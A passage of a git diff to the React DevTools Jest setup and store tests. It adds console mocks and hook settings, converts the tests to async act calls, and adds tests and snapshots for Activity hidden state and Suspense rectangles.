       // Errors can be ignored by running in a special context provided by utils.js#withErrorsOrWarningsIgnored
       return;
     }
+
+    consoleErrorMock(...args);
     originalConsoleError.apply(console, args);
   };
-  const originalConsoleWarn = console.warn;
   console.warn = (...args) => {
     if (shouldIgnoreConsoleErrorOrWarn(args)) {
       // Allows testing how DevTools behaves when it encounters console.warn without cluttering the test output.
       // Warnings can be ignored by running in a special context provided by utils.js#withErrorsOrWarningsIgnored
       return;
     }
+
+    consoleWarnMock(...args);
     originalConsoleWarn.apply(console, args);
   };
+  console.log = (...args) => {
+    consoleLogMock(...args);
+    originalConsoleLog.apply(console, args);
+  };
+}
+
+function unpatchConsoleAfterTesting() {
+  delete global.consoleErrorMock;
+  delete global.consoleWarnMock;
+  delete global.consoleLogMock;
+}
+
+beforeEach(() => {
+  patchConsoleForTestingBeforeHookInstallation();
+
+  global.mockClipboardCopy = jest.fn();
+
+  // Test environment doesn't support document methods like execCommand()
+  // Also once the backend components below have been required,
+  // it's too late for a test to mock the clipboard-js modules.
+  jest.mock('clipboard-js', () => ({copy: global.mockClipboardCopy}));
+
+  // These files should be required (and re-required) before each test,
+  // rather than imported at the head of the module.
+  // That's because we reset modules between tests,
+  // which disconnects the DevTool's cache from the current dispatcher ref.
+  const Agent = require('react-devtools-shared/src/backend/agent').default;
+  const {initBackend} = require('react-devtools-shared/src/backend');
+  const Bridge = require('react-devtools-shared/src/bridge').default;
+  const Store = require('react-devtools-shared/src/devtools/store').default;
+  const {installHook} = require('react-devtools-shared/src/hook');
+  const {
+    getDefaultComponentFilters,
+    setSavedComponentFilters,
+  } = require('react-devtools-shared/src/utils');
+
+  // Fake timers let us flush Bridge operations between setup and assertions.
+  jest.useFakeTimers();
+
+  // We use fake timers heavily in tests but the bridge batching now uses microtasks.
+  global.devtoolsJestTestScheduler = callback => {
+    setTimeout(callback, 0);
+  };
+
+  // Use utils.js#withErrorsOrWarningsIgnored instead of directly mutating this array.
+  global._ignoredErrorOrWarningMessages = [
+    'react-test-renderer is deprecated.',
+  ];
 
   // Initialize filters to a known good state.
   setSavedComponentFilters(getDefaultComponentFilters());
-  global.__REACT_DEVTOOLS_COMPONENT_FILTERS__ = getDefaultComponentFilters();
 
-  // Also initialize inline warnings so that we can test them.
-  global.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__ = true;
-
-  installHook(global);
+  installHook(global, getDefaultComponentFilters(), {
+    appendComponentStack: true,
+    breakOnConsoleErrors: false,
+    showInlineWarningsAndErrors: true,
+    hideConsoleLogsInStrictMode: false,
+    disableSecondConsoleLogDimmingInStrictMode: false,
+  });
 
   const bridgeListeners = [];
   const bridge = new Bridge({
@@ -216,14 +263,14 @@ beforeEach(() => {
     },
   });
 
-  const agent = new Agent(((bridge: any): BackendBridge));
+  const store = new Store(((bridge: any): FrontendBridge), {
+    supportsTimeline: true,
+  });
 
+  const agent = new Agent(((bridge: any): BackendBridge));
   const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;
-
   initBackend(hook, agent, global);
 
-  const store = new Store(((bridge: any): FrontendBridge));
-
   global.agent = agent;
   global.bridge = bridge;
   global.store = store;
@@ -238,8 +285,10 @@ beforeEach(() => {
   }
   global.fetch = mockFetch;
 });
+
 afterEach(() => {
   delete global.__REACT_DEVTOOLS_GLOBAL_HOOK__;
+  unpatchConsoleAfterTesting();
 
   // It's important to reset modules between test runs;
   // Without this, ReactDOM won't re-inject itself into the new hook.
diff --git a/packages/react-devtools-shared/src/__tests__/store-test.js b/packages/react-devtools-shared/src/__tests__/store-test.js
index 75435114975c..0a62c089dd13 100644
--- a/packages/react-devtools-shared/src/__tests__/store-test.js
+++ b/packages/react-devtools-shared/src/__tests__/store-test.js
@@ -7,7 +7,12 @@
  * @flow
  */
 
+import semver from 'semver';
+
 import {getVersionedRenderImplementation} from './utils';
+import {ReactVersion} from '../../../../ReactVersions';
+
+const ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;
 
 describe('Store', () => {
   let React;
@@ -17,11 +22,52 @@ describe('Store', () => {
   let act;
   let actAsync;
   let bridge;
+  let createDisplayNameFilter;
   let getRendererID;
   let legacyRender;
+  let previousComponentFilters;
   let store;
   let withErrorsOrWarningsIgnored;
 
+  function readValue(promise) {
+    if (typeof React.use === 'function') {
+      return React.use(promise);
+    }
+
+    // Support for React < 19.0
+    switch (promise.status) {
+      case 'fulfilled':
+        return promise.value;
+      case 'rejected':
+        throw promise.reason;
+      case 'pending':
+        throw promise;
+      default:
+        promise.status = 'pending';
+        promise.then(
+          value => {
+            promise.status = 'fulfilled';
+            promise.value = value;
+          },
+          reason => {
+            promise.status = 'rejected';
+            promise.reason = reason;
+          },
+        );
+        throw promise;
+    }
+  }
+
+  beforeAll(() => {
+    // JSDDOM doesn't implement getClientRects so we're just faking one for testing purposes
+    Element.prototype.getClientRects = function (this: Element) {
+      const textContent = this.textContent;
+      return [
+        new DOMRect(1, 2, textContent.length, textContent.split('\n').length),
+      ];
+    };
+  });
+
   beforeEach(() => {
     global.IS_REACT_ACT_ENVIRONMENT = true;
 
@@ -29,6 +75,8 @@ describe('Store', () => {
     bridge = global.bridge;
     store = global.store;
 
+    previousComponentFilters = store.componentFilters;
+
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
@@ -38,16 +86,21 @@ describe('Store', () => {
     actAsync = utils.actAsync;
     getRendererID = utils.getRendererID;
     legacyRender = utils.legacyRender;
+    createDisplayNameFilter = utils.createDisplayNameFilter;
     withErrorsOrWarningsIgnored = utils.withErrorsOrWarningsIgnored;
   });
 
+  afterEach(() => {
+    store.componentFilters = previousComponentFilters;
+  });
+
   const {render, unmount, createContainer} = getVersionedRenderImplementation();
 
   // @reactVersion >= 18.0
-  it('should not allow a root node to be collapsed', () => {
+  it('should not allow a root node to be collapsed', async () => {
     const Component = () => <div>Hi</div>;
 
-    act(() => render(<Component count={4} />));
+    await act(() => render(<Component count={4} />));
     expect(store).toMatchInlineSnapshot(`
       [root]
           <Component>
@@ -63,16 +116,16 @@ describe('Store', () => {
   });
 
   // @reactVersion >= 18.0
-  it('should properly handle a root with no visible nodes', () => {
+  it('should properly handle a root with no visible nodes', async () => {
     const Root = ({children}) => children;
 
-    act(() => render(<Root>{null}</Root>));
+    await act(() => render(<Root>{null}</Root>));
     expect(store).toMatchInlineSnapshot(`
       [root]
           <Root>
     `);
 
-    act(() => render(<div />));
+    await act(() => render(<div />));
     expect(store).toMatchInlineSnapshot(`[root]`);
   });
 
@@ -82,20 +135,20 @@ describe('Store', () => {
   // I'mnot yet sure of how to reduce the GitHub reported production case to a test though.
   // See https://github.com/facebook/react/issues/21445
   // @reactVersion >= 18.0
-  it('should handle when a component mounts before its owner', () => {
+  it('should handle when a component mounts before its owner', async () => {
     const promise = new Promise(resolve => {});
 
     let Dynamic = null;
     const Owner = () => {
       Dynamic = <Child />;
-      throw promise;
+      readValue(promise);
     };
     const Parent = () => {
       return Dynamic;
     };
     const Child = () => null;
 
-    act(() =>
+    await act(() =>
       render(
         <>
           <React.Suspense fallback="Loading...">
@@ -110,23 +163,91 @@ describe('Store', () => {
           <Suspense>
         ▾ <Parent>
             <Child>
+      [suspense-root]  rects={null}
+        <Suspense name="Unknown" uniqueSuspenders={true} rects={null}>
     `);
   });
 
   // @reactVersion >= 18.0
-  it('should handle multibyte character strings', () => {
+  it('should handle multibyte character strings', async () => {
     const Component = () => null;
     Component.displayName = '🟩💜🔵';
 
-    act(() => render(<Component />));
+    await act(() => render(<Component />));
     expect(store).toMatchInlineSnapshot(`
       [root]
           <🟩💜🔵>
     `);
   });
 
+  it('should handle reorder of filtered elements', async () => {
+    function IgnoreMePassthrough({children}) {
+      return children;
+    }
+    function PassThrough({children}) {
+      return children;
+    }
+
+    await actAsync(
+      async () =>
+        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),
+    );
+
+    await act(() => {
+      render(
+        <PassThrough key="e" name="e">
+          <IgnoreMePassthrough key="e1">
+            <PassThrough name="e-child-one">
+              <p>e1</p>
+            </PassThrough>
+          </IgnoreMePassthrough>
+          <IgnoreMePassthrough key="e2">
+            <PassThrough name="e-child-two">
+              <div>e2</div>
+            </PassThrough>
+          </IgnoreMePassthrough>
+        </PassThrough>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <PassThrough key="e">
+          ▾ <PassThrough>
+              <p>
+          ▾ <PassThrough>
+              <div>
+    `);
+
+    await act(() => {
+      render(
+        <PassThrough key="e" name="e">
+          <IgnoreMePassthrough key="e2">
+            <PassThrough name="e-child-two">
+              <div>e2</div>
+            </PassThrough>
+          </IgnoreMePassthrough>
+          <IgnoreMePassthrough key="e1">
+            <PassThrough name="e-child-one">
+              <p>e1</p>
+            </PassThrough>
+          </IgnoreMePassthrough>
+        </PassThrough>,
+      );
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <PassThrough key="e">
+          ▾ <PassThrough>
+              <div>
+          ▾ <PassThrough>
+              <p>
+    `);
+  });
+
   describe('StrictMode compliance', () => {
-    it('should mark strict root elements as strict', () => {
+    it('should mark strict root elements as strict', async () => {
       const App = () => <Component />;
       const Component = () => null;
 
@@ -134,7 +255,7 @@ describe('Store', () => {
       const root = ReactDOMClient.createRoot(container, {
         unstable_strictMode: true,
       });
-      act(() => {
+      await act(() => {
         root.render(<App />);
       });
 
@@ -143,13 +264,13 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should mark non strict root elements as not strict', () => {
+    it('should mark non strict root elements as not strict', async () => {
       const App = () => <Component />;
       const Component = () => null;
 
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      act(() => {
+      await act(() => {
         root.render(<App />);
       });
 
@@ -157,7 +278,7 @@ describe('Store', () => {
       expect(store.getElementAtIndex(1).isStrictModeNonCompliant).toBe(true);
     });
 
-    it('should mark StrictMode subtree elements as strict', () => {
+    it('should mark StrictMode subtree elements as strict', async () => {
       const App = () => (
         <React.StrictMode>
           <Component />
@@ -167,7 +288,7 @@ describe('Store', () => {
 
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      act(() => {
+      await act(() => {
         root.render(<App />);
       });
 
@@ -176,13 +297,276 @@ describe('Store', () => {
     });
   });
 
+  describe('Activity hidden state', () => {
+    // @reactVersion >= 19
+    it('should mark Activity subtree elements as hidden when mode is hidden', async () => {
+      const Activity = React.Activity || React.unstable_Activity;
+
+      function Child() {
+        return <div>child</div>;
+      }
+
+      function App({hidden}) {
+        return (
+          <Activity mode={hidden ? 'hidden' : 'visible'}>
+            <Child />
+          </Activity>
+        );
+      }
+
+      await actAsync(() => {
+        render(<App hidden={true} />);
+      });
+
+      // Activity element should be marked as hidden and collapsed
+      const activityElement = store.getElementAtIndex(1);
+      expect(activityElement.displayName).toBe('Activity');
+      expect(activityElement.isActivityHidden).toBe(true);
+      expect(activityElement.isInsideHiddenActivity).toBe(false);
+      expect(activityElement.isCollapsed).toBe(true);
+
+      // Expand to access children
+      store.toggleIsCollapsed(activityElement.id, false);
+
+      // Children should still be in the tree but marked as inside hidden Activity
+      const childElement = store.getElementAtIndex(2);
+      expect(childElement.displayName).toBe('Child');
+      expect(childElement.isInsideHiddenActivity).toBe(true);
+    });
+
+    // @reactVersion >= 19
+    it('should not mark Activity subtree as hidden when mode is visible', async () => {
+      const Activity = React.Activity || React.unstable_Activity;
+
+      function Child() {
+        return <div>child</div>;
+      }
+
+      function App() {
+        return (
+          <Activity mode="visible">
+            <Child />
+          </Activity>
+        );
+      }
+
+      await actAsync(() => {
+        render(<App />);
+      });
+
+      const activityElement = store.getElementAtIndex(1);
+      expect(activityElement.displayName).toBe('Activity');
+      expect(activityElement.isActivityHidden).toBe(false);
+      expect(activityElement.isInsideHiddenActivity).toBe(false);
+      expect(activityElement.isCollapsed).toBe(false);
+
+      const childElement = store.getElementAtIndex(2);
+      expect(childElement.displayName).toBe('Child');
+      expect(childElement.isInsideHiddenActivity).toBe(false);
+    });
+
+    // @reactVersion >= 19
+    it('should update hidden state when Activity mode toggles', async () => {
+      const Activity = React.Activity || React.unstable_Activity;
+
+      function Child() {
+        return <div>child</div>;
+      }
+
+      function App({hidden}) {
+        return (
+          <Activity mode={hidden ? 'hidden' : 'visible'}>
+            <Child />
+          </Activity>
+        );
+      }
+
+      // Start visible
+      await actAsync(() => {
+        render(<App hidden={false} />);
+      });
+
+      let activityElement = store.getElementAtIndex(1);
+      expect(activityElement.isActivityHidden).toBe(false);
+      expect(activityElement.isCollapsed).toBe(false);
+
+      let childElement = store.getElementAtIndex(2);
+      expect(childElement.isInsideHiddenActivity).toBe(false);
+
+      // Toggle to hidden — children remain but subtree collapses
+      await actAsync(() => {
+        render(<App hidden={true} />);
+      });
+
+      activityElement = store.getElementAtIndex(1);
+      expect(activityElement.isActivityHidden).toBe(true);
+      expect(activityElement.isCollapsed).toBe(true);
+
+      // Expand to verify children are still marked
+      store.toggleIsCollapsed(activityElement.id, false);
+
+      childElement = store.getElementAtIndex(2);
+      expect(childElement.displayName).toBe('Child');
+      expect(childElement.isInsideHiddenActivity).toBe(true);
+
+      // Toggle back to visible — subtree expands automatically
+      await actAsync(() => {
+        render(<App hidden={false} />);
+      });
+
+      activityElement = store.getElementAtIndex(1);
+      expect(activityElement.isActivityHidden).toBe(false);
+      expect(activityElement.isCollapsed).toBe(false);
+
+      childElement = store.getElementAtIndex(2);
+      expect(childElement.isInsideHiddenActivity).toBe(false);
+    });
+
+    // @reactVersion >= 19
+    it('should propagate hidden state to deeply nested children', async () => {
+      const Activity = React.Activity || React.unstable_Activity;
+
+      function GrandChild() {
+        return <div>grandchild</div>;
+      }
+      function Child() {
+        return <GrandChild />;
+      }
+
+      function App({hidden}) {
+        return (
+          <Activity mode={hidden ? 'hidden' : 'visible'}>
+            <Child />
+          </Activity>
+        );
+      }
+
+      await actAsync(() => {
+        render(<App hidden={true} />);
+      });
+
+      const activityElement = store.getElementAtIndex(1);
+      expect(activityElement.displayName).toBe('Activity');
+      expect(activityElement.isActivityHidden).toBe(true);
+      expect(activityElement.isCollapsed).toBe(true);
+
+      // Expand to access children
+      store.toggleIsCollapsed(activityElement.id, false);
+
+      const childElement = store.getElementAtIndex(2);
+      expect(childElement.displayName).toBe('Child');
+      expect(childElement.isInsideHiddenActivity).toBe(true);
+
+      const grandChildElement = store.getElementAtIndex(3);
+      expect(grandChildElement.displayName).toBe('GrandChild');
+      expect(grandChildElement.isInsideHiddenActivity).toBe(true);
+    });
+
+    // @reactVersion >= 19
+    it('should collapse hidden Activity subtree by default', async () => {
+      const Activity = React.Activity || React.unstable_Activity;
+
+      function Child() {
+        return <div>child</div>;
+      }
+
+      function App({hidden}) {
+        return (
+          <Activity mode={hidden ? 'hidden' : 'visible'}>
+            <Child />
+          </Activity>
+        );
+      }
+
+      // Hidden Activity should be collapsed
+      await actAsync(() => {
+        render(<App hidden={true} />);
+      });
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+            ▸ <Activity mode="hidden">
+      `);
+
+      // Toggle to visible — should expand
+      await actAsync(() => {
+        render(<App hidden={false} />);
+      });
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+            ▾ <Activity mode="visible">
+                <Child>
+      `);
+
+      // Toggle back to hidden — should collapse again
+      await actAsync(() => {
+        render(<App hidden={true} />);
+      });
+
+      expect(store).toMatchInlineSnapshot(`
+        [root]
+          ▾ <App>
+            ▸ <Activity mode="hidden">
+      `);
+    });
+
+    // @reactVersion >= 19
+    it('should dim nested visible Activity inside a hidden Activity', async () => {
+      const Activity = React.Activity || React.unstable_Activity;
+
+      function Leaf() {
+        return <div>leaf</div>;
+      }
+
+      function App() {
+        return (
+          <Activity mode="hidden" name="outer">
+            <Activity mode="visible" name="inner">
+              <Leaf />
+            </Activity>
+          </Activity>
+        );
+      }
+
+      await actAsync(() => {
+        render(<App />);
+      });
+
+      // Outer Activity: hidden, collapsed, not dimmed itself
+      const outerActivity = store.getElementAtIndex(1);
+      expect(outerActivity.displayName).toBe('Activity');
+      expect(outerActivity.nameProp).toBe('outer');
+      expect(outerActivity.isActivityHidden).toBe(true);
+      expect(outerActivity.isInsideHiddenActivity).toBe(false);
+      expect(outerActivity.isCollapsed).toBe(true);
+
+      // Expand to access inner elements
+      store.toggleIsCollapsed(outerActivity.id, false);
+
+      // Inner Activity: visible, but inside hidden outer so still dimmed
+      const innerActivity = store.getElementAtIndex(2);
+      expect(innerActivity.displayName).toBe('Activity');
+      expect(innerActivity.nameProp).toBe('inner');
+      expect(innerActivity.isActivityHidden).toBe(false);
+      expect(innerActivity.isInsideHiddenActivity).toBe(true);
+
+      // Leaf: inside both, dimmed
+      const leaf = store.getElementAtIndex(3);
+      expect(leaf.displayName).toBe('Leaf');
+      expect(leaf.isInsideHiddenActivity).toBe(true);
+    });
+  });
+
   describe('collapseNodesByDefault:false', () => {
     beforeEach(() => {
       store.collapseNodesByDefault = false;
     });
 
     // @reactVersion >= 18.0
-    it('should support mount and update operations', () => {
+    it('should support mount and update operations', async () => {
       const Grandparent = ({count}) => (
         <React.Fragment>
           <Parent count={count} />
@@ -193,7 +577,7 @@ describe('Store', () => {
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
 
-      act(() => render(<Grandparent count={4} />));
+      await act(() => render(<Grandparent count={4} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -209,7 +593,7 @@ describe('Store', () => {
                 <Child key="3">
       `);
 
-      act(() => render(<Grandparent count={2} />));
+      await act(() => render(<Grandparent count={2} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -221,14 +605,14 @@ describe('Store', () => {
                 <Child key="1">
       `);
 
-      act(() => unmount());
+      await act(() => unmount());
       expect(store).toMatchInlineSnapshot(``);
     });
 
     // @reactVersion >= 18.0
     // @reactVersion < 19
     // @gate !disableLegacyMode
-    it('should support mount and update operations for multiple roots (legacy render)', () => {
+    it('should support mount and update operations for multiple roots (legacy render)', async () => {
       const Parent = ({count}) =>
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
@@ -236,7 +620,7 @@ describe('Store', () => {
       const containerA = document.createElement('div');
       const containerB = document.createElement('div');
 
-      act(() => {
+      await act(() => {
         legacyRender(<Parent key="A" count={3} />, containerA);
         legacyRender(<Parent key="B" count={2} />, containerB);
       });
@@ -252,7 +636,7 @@ describe('Store', () => {
               <Child key="1">
       `);
 
-      act(() => {
+      await act(() => {
         legacyRender(<Parent key="A" count={4} />, containerA);
         legacyRender(<Parent key="B" count={1} />, containerB);
       });
@@ -268,7 +652,7 @@ describe('Store', () => {
               <Child key="0">
       `);
 
-      act(() => ReactDOM.unmountComponentAtNode(containerB));
+      await act(() => ReactDOM.unmountComponentAtNode(containerB));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Parent key="A">
@@ -278,12 +662,12 @@ describe('Store', () => {
               <Child key="3">
       `);
 
-      act(() => ReactDOM.unmountComponentAtNode(containerA));
+      await act(() => ReactDOM.unmountComponentAtNode(containerA));
       expect(store).toMatchInlineSnapshot(``);
     });
 
     // @reactVersion >= 18.0
-    it('should support mount and update operations for multiple roots (createRoot)', () => {
+    it('should support mount and update operations for multiple roots (createRoot)', async () => {
       const Parent = ({count}) =>
         new Array(count).fill(true).map((_, index) => <Child key={index} />);
       const Child = () => <div>Hi!</div>;
@@ -294,7 +678,7 @@ describe('Store', () => {
       const rootA = ReactDOMClient.createRoot(containerA);
       const rootB = ReactDOMClient.createRoot(containerB);
 
-      act(() => {
+      await act(() => {
         rootA.render(<Parent key="A" count={3} />);
         rootB.render(<Parent key="B" count={2} />);
       });
@@ -310,7 +694,7 @@ describe('Store', () => {
               <Child key="1">
       `);
 
-      act(() => {
+      await act(() => {
         rootA.render(<Parent key="A" count={4} />);
         rootB.render(<Parent key="B" count={1} />);
       });
@@ -326,7 +710,7 @@ describe('Store', () => {
               <Child key="0">
       `);
 
-      act(() => rootB.unmount());
+      await act(() => rootB.unmount());
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Parent key="A">
@@ -336,12 +720,12 @@ describe('Store', () => {
               <Child key="3">
       `);
 
-      act(() => rootA.unmount());
+      await act(() => rootA.unmount());
       expect(store).toMatchInlineSnapshot(``);
     });
 
     // @reactVersion >= 18.0
-    it('should filter DOM nodes from the store tree', () => {
+    it('should filter DOM nodes from the store tree', async () => {
       const Grandparent = () => (
         <div>
           <div>
@@ -357,7 +741,7 @@ describe('Store', () => {
       );
       const Child = () => <div>Hi!</div>;
 
-      act(() => render(<Grandparent count={4} />));
+      await act(() => render(<Grandparent count={4} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Grandparent>
@@ -369,10 +753,11 @@ describe('Store', () => {
     });
 
     // @reactVersion >= 18.0
-    it('should display Suspense nodes properly in various states', () => {
+    it('should display Suspense nodes properly in various states', async () => {
       const Loading = () => <div>Loading...</div>;
+      const never = new Promise(() => {});
       const SuspendingComponent = () => {
-        throw new Promise(() => {});
+        readValue(never);
       };
       const Component = () => {
         return <div>Hello</div>;
@@ -390,16 +775,18 @@ describe('Store', () => {
         </React.Fragment>
       );
 
-      act(() => render(<Wrapper shouldSuspense={true} />));
+      await act(() => render(<Wrapper shouldSuspense={true} />));
       expect(store).toMatchInlineSnapshot(`
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
             ▾ <Suspense>
                 <Loading>
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={null}>
       `);
 
-      act(() => {
+      await act(() => {
         render(<Wrapper shouldSuspense={false} />);
       });
       expect(store).toMatchInlineSnapshot(`
@@ -408,15 +795,18 @@ describe('Store', () => {
               <Component key="Outside">
             ▾ <Suspense>
                 <Component key="Inside">
+        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}
+          <Suspense name="Wrapper" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>
       `);
     });
 
     // @reactVersion >= 18.0
-    it('should support nested Suspense nodes', () => {
+    it('should support nested Suspense nodes', async () => {
       const Component = () => null;
       const Loading = () => <div>Loading...</div>;
+      const never = new Promise(() => {});
       const Never = () => {
-        throw new Promise(() => {});
+        readValue(never);
       };
 
       const Wrapper = ({
@@ -426,23 +816,31 @@ describe('Store', () => {
       }) => (
         <React.Fragment>
           <Component key="Outside" />
-          <React.Suspense fallback={<Loading key="Parent Fallback" />}>
+          <React.Suspense
+            name="parent"
+            fallback={<Loading key="Parent Fallback" />}>
             <Component key="Unrelated at Start" />
-            <React.Suspense fallback={<Loading key="Suspense 1 Fallback" />}>
+            <React.Suspense
+              name="one"
+              fallback={<Loading key="Suspense 1 Fallback" />}>
               {suspendFirst ? (
                 <Never />
               ) : (
                 <Component key="Suspense 1 Content" />
               )}
             </React.Suspense>
-            <React.Suspense fallback={<Loading key="Suspense 2 Fallback" />}>
+            <React.Suspense
+              name="two"
+              fallback={<Loading key="Suspense 2 Fallback" />}>
               {suspendSecond ? (
                 <Never />
               ) : (
                 <Component key="Suspense 2 Content" />
               )}
             </React.Suspense>
-            <React.Suspense fallback={<Loading key="Suspense 3 Fallback" />}>
+            <React.Suspense
+              name="three"
+              fallback={<Loading key="Suspense 3 Fallback" />}>
               <Never />
             </React.Suspense>
             {suspendParent && <Never />}
@@ -451,7 +849,7 @@ describe('Store', () => {
         </React.Fragment>
       );
 
-      act(() =>
+      await actAsync(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -464,17 +862,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Component key="Suspense 1 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Component key="Suspense 2 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={false} rects={null}>
+            <Suspense name="two" uniqueSuspenders={false} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -487,17 +890,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Loading key="Suspense 1 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Component key="Suspense 2 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={false} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -510,17 +918,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Component key="Suspense 1 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Loading key="Suspense 2 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -533,17 +946,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Loading key="Suspense 1 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Component key="Suspense 2 Content">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={true}
@@ -556,10 +974,15 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Loading key="Parent Fallback">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -572,17 +995,22 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
               <Component key="Outside">
-            ▾ <Suspense>
+            ▾ <Suspense name="parent">
                 <Component key="Unrelated at Start">
-              ▾ <Suspense>
+              ▾ <Suspense name="one">
                   <Loading key="Suspense 1 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="two">
                   <Loading key="Suspense 2 Fallback">
-              ▾ <Suspense>
+              ▾ <Suspense name="three">
                   <Loading key="Suspense 3 Fallback">
                 <Component key="Unrelated at End">
+        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}
+          <Suspense name="parent" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>
+            <Suspense name="one" uniqueSuspenders={true} rects={null}>
+            <Suspense name="two" uniqueSuspenders={true} rects={null}>
+            <Suspense name="three" uniqueSuspenders={true} rects={null}>
       `);
-      act(() =>
+      await act(() =>
         render(
           <Wrapper
             suspendParent={false}
@@ -595,19 +1023,24 @@ describe('Store', () => {
         [root]
           ▾ <Wrapper>
